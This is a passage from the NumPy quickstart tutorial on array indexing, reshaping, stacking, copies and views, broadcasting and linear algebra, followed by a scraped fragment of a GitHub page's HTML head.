11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
GitHub Repo https://github.com/chikitang/A

chikitang/A

!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-ksfTgQOOnE+FFXf+yNfVjKSlEckJAdufFIYGK7ZjRhWcZgzAGcmZqqArTgMLpu90FwthqcCX4ldDgKXbmVMeuQ==" rel="stylesheet" href="https://github.githubassets.com/assets/light-92c7d381038e.css" /><link crossorigin="anonymous" media="all" integrity="sha512-1KkMNn8M/al/dtzBLupRwkIOgnA9MWkm8oxS+solP87jByEvY/g4BmoxLihRogKcX1obPnf4Yp7dI0ZTWO+ljg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-d4a90c367f0c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-cZa7DZqvMBwD236uzEunO/G1dvw8/QftyT2UtLWKQFEy0z0eq0R5WPwqVME+3NSZG1YaLJAaIqtU+m0zWf/6SQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-7196bb0d9aaf.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-WVoKqJ4y1nLsdNH4RkRT5qrM9+n9RFe1RHSiTnQkBf5TSZkJEc9GpLpTIS7T15EQaUQBJ8BwmKvwFPVqfpTEIQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-595a0aa89e32.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-XpAMBMSRZ6RTXgepS8LjKiOeNK3BilRbv8qEiA/M3m+Q4GoqxtHedOI5BAZRikCzfBL4KWYvVzYZSZ8Gp/UnUg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-5e900c04c491.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-3HF2HZ4LgEIQm77yOzoeR20CX1n2cUQlcywscqF4s+5iplolajiHV7E5ranBwkX65jN9TNciHEVSYebQ+8xxEw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-dc71761d9e0b.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-+J8j3T0kbK9/sL3zbkCfPtgYcRD4qQfRbT6xnfOrOTjvz4zhr0M7AXPuE642PpaxGhHs1t77cTtieW9hI2K6Gw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-f89f23dd3d24.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-AQeAx5wHQAXNf0DmkvVlHYwA3f6BkxunWTI0GGaRN57GqD+H9tW8RKIKlopLS0qGaC54seFsPc601GDlqIuuHg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-010780c79c07.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-+u5pmgAE0T03d/yI6Ha0NWwz6Pk0W6S6WEfIt8veDVdK8NTjcMbZmQB9XUCkDlrBoAKkABva8HuGJ+SzEpV1Uw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-faee699a0004.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EAhBCLIJ/pXHG3Y6yQhs9s53SHV80sjJ+yCwlQtfv7LaVkD+VoEuZBZ5betQJFUNj/5qBSfZk5GFtazEDzWLAg==" rel="stylesheet" href="https://github.githubassets.com/assets/primer-10084108b209.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-j4LlGsvrPJxvY8+OWTjZfxsE5dNUiTsSjDrRiYJN24hZSD0fRrKZKtHnFIt1HSPGvNd1XAXX4UWQu+7n30g2KQ==" rel="stylesheet" href="https://github.githubassets.com/assets/global-8f82e51acbeb.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ws/OpUoggF9K9ooMit55m3zLZc0tylad06U0PD2d0mPaGrdyGa+YTIAGxvVPrke4PWfw/1hdyplewI0dG5RMqw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c2cfcea54a20.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EU4iyx/yvfUFbgkpn4fpfcGLGdCO/MAsSFcvCXZ2Z2EW37nQnDHPgt/cXbfA0Tro59XCXEOAzXxFKLLkIuetnw==" rel="stylesheet" href="https://github.githubassets.com/assets/profile-114e22cb1ff2.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-/QgkqjzVefOR3Tj2b+frbSHSVAOEXToMLNi27AqI0et2R/r9L6h5gKl9tEbPuN2sV41z3bAkC0YbPhQSDjak+A==" src="https://github.githubassets.com/assets/runtime-fd0824aa3cd5.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-X+8lM1ka/+ZD419IfxRmavutulfxSofkt+qmxoFdfa0Zp6fBjTUoNaJeZfEK1YdE6ibpcZz/HaOVu2FnHGJ7DA==" src="https://github.githubassets.com/assets/environment-5fef2533591a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==" src="https://github.githubassets.com/assets/vendors-node_modules_selector-observer_dist_index_esm_js-8a8fb532f817.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-12cdb93781b2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-lmiecOIgf+hakg5oKMNM7grVhEDyPoIrT39Px448JJH5PSAaK21PH0Twgyz5O5oi8+dnlLr3Jt8bBCtAcpNdRw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-96689e70e220.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-y67eNkVaNK4RguUGcHOvIbHFlgf1Qje+LDdjVw2eFuuvBOqta2GePz/CwoLIR/PJhhRAj5RPGxCWoomnimSw6w==" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js-cbaede36455a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-6ehrOOu5AOQD8/Lw6TgTsdkj9odsrpi0xWo0vkH3wBR3vIw/Bj/Rxw9wZMfw2qVzdqqF/pCiaJ5f0A/P6HtGrw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-e9e86b38ebb9.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-l//8hwOiwPAmBg0NwsWUYovdQ7/r9kPHiD9/LL4fD3M7El8gbgaOYU5+o6cYLB6puSfOTxyN9M6fE38HSDr2Bw==" src="https://github.githubassets.com/assets/github-elements-97fffc8703a2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-RVfrK7GqzKgqgrdk4OZy+0LLxAMJ1odMQC1/Qt7SpwSHjE9s4R0/09fu5QvzcQ6XdNZMjJ1Wy8Cr6wL3Q+HCcQ==" src="https://github.githubassets.com/assets/element-registry-4557eb2bb1aa.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-LWSGAMIPWi+15W2gBjmxbtVqU0DamkrNOQylAjPL8509iKnuWgSLdjylDv3WWm/9p6h2U/D//3i6BiiGFZPXJA==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-2d648600c20f.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-0r1nf/rfPz54kyePp4f63bcPxkFo7wyaUZJD/SwIVDK3q0WzurAK9ydOm88tzKtPJm8xWI0Vo25NyCfecwxJ9g==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd-d2bd677ffadf.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-VK56d0N1hPZ20mOzPoy84zlTGCjGbKKmVvfjoyDqSF+VxTD4f6X8QDs2RgG1R1cdBmsCiea+ZxP6ukV3tHlD+Q==" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-54ae7a774375.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-318SWYQMEUmWdOuBzC1KdeVyyq5RDCiMNGP7Jh9s/Oz68Yy8e94t8qKxiCnfFKnzfpN3MxrATi7jCQyDv6jh0w==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_pjax_ts-df5f1259840c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-2hsYB2KHyayxUJJxJGhXeTeTZZG2c7lzRtO0uB1txmpc7rfvIt4mf0iossT0MHIHknYlaslgi98jmmlVXcXaZQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-da1b18076287.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" 